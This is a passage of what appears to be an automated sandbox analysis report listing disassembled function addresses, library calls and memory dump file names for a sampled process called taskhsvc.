Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0022008E, Relevance: 1.5, APIs: 1, Instructions: 35

APIs

Part of subcall function 0022D5B4: memset.MSVCRT ref: 0022D62C
Part of subcall function 0022D5B4: strchr.MSVCRT ref: 0022D699
Part of subcall function 0022D5B4: strlen.MSVCRT ref: 0022D73F
Part of subcall function 0022D5B4: free.MSVCRT ref: 0022DB41
Part of subcall function 0022D5B4: free.MSVCRT ref: 0022DB91
Part of subcall function 0022D5B4: __stack_chk_fail.LIBSSP-0 ref: 0022DBB1

__stack_chk_fail.LIBSSP-0 ref: 00220115

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C38E7, Relevance: 1.5, APIs: 1, Instructions: 34

APIs

Part of subcall function 00237498: __stack_chk_fail.LIBSSP-0 ref: 002374B8

Part of subcall function 00313207: __stack_chk_fail.LIBSSP-0 ref: 00313277

__stack_chk_fail.LIBSSP-0 ref: 001C39F0

Part of subcall function 0023AD19: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0024EF37), ref: 0023AD77

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001CDB8D, Relevance: 1.5, APIs: 1, Instructions: 33

APIs

Part of subcall function 001CDB1E: free.MSVCRT ref: 001CDB6C
Part of subcall function 001CDB1E: __stack_chk_fail.LIBSSP-0 ref: 001CDB86

Part of subcall function 001CDAA5: time.MSVCRT ref: 001CDAE9
Part of subcall function 001CDAA5: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CDBD6), ref: 001CDB17

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CAF51), ref: 001CDC05

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C43B5, Relevance: 1.5, APIs: 1, Instructions: 33

APIs

Part of subcall function 00287868: abort.MSVCRT ref: 002878D8
Part of subcall function 00287868: __stack_chk_fail.LIBSSP-0 ref: 00287904

__stack_chk_fail.LIBSSP-0 ref: 001C4415

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00326865, Relevance: 1.5, APIs: 1, Instructions: 33

APIs

Part of subcall function 003267DB: __stack_chk_fail.LIBSSP-0 ref: 0032685E

__stack_chk_fail.LIBSSP-0 ref: 003268C7

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00214518, Relevance: 1.5, APIs: 1, Instructions: 33

APIs

Part of subcall function 00210D7D: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0021307F), ref: 00210DD3
Part of subcall function 00210D7D: __stack_chk_fail.LIBSSP-0 ref: 00210E2D

Part of subcall function 00205A71: __stack_chk_fail.LIBSSP-0 ref: 00205CBF

Part of subcall function 002141A4: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0021456D), ref: 00214227
Part of subcall function 002141A4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0021456D), ref: 00214241

Part of subcall function 001C262A: abort.MSVCRT ref: 001C267A
Part of subcall function 001C262A: event_add.LIBEVENT-2-0-5 ref: 001C26E4
Part of subcall function 001C262A: __stack_chk_fail.LIBSSP-0 ref: 001C2745

__stack_chk_fail.LIBSSP-0 ref: 00214595

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00316761, Relevance: 1.5, APIs: 1, Instructions: 28

APIs

Part of subcall function 0032587B: _stati64.MSVCRT ref: 00325913
Part of subcall function 0032587B: free.MSVCRT ref: 0032592C
Part of subcall function 0032587B: __stack_chk_fail.LIBSSP-0 ref: 003259BE

Part of subcall function 00315AA7: rename.MSVCRT ref: 00315B14
Part of subcall function 00315AA7: __stack_chk_fail.LIBSSP-0 ref: 00315B24

__stack_chk_fail.LIBSSP-0 ref: 003167E8

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
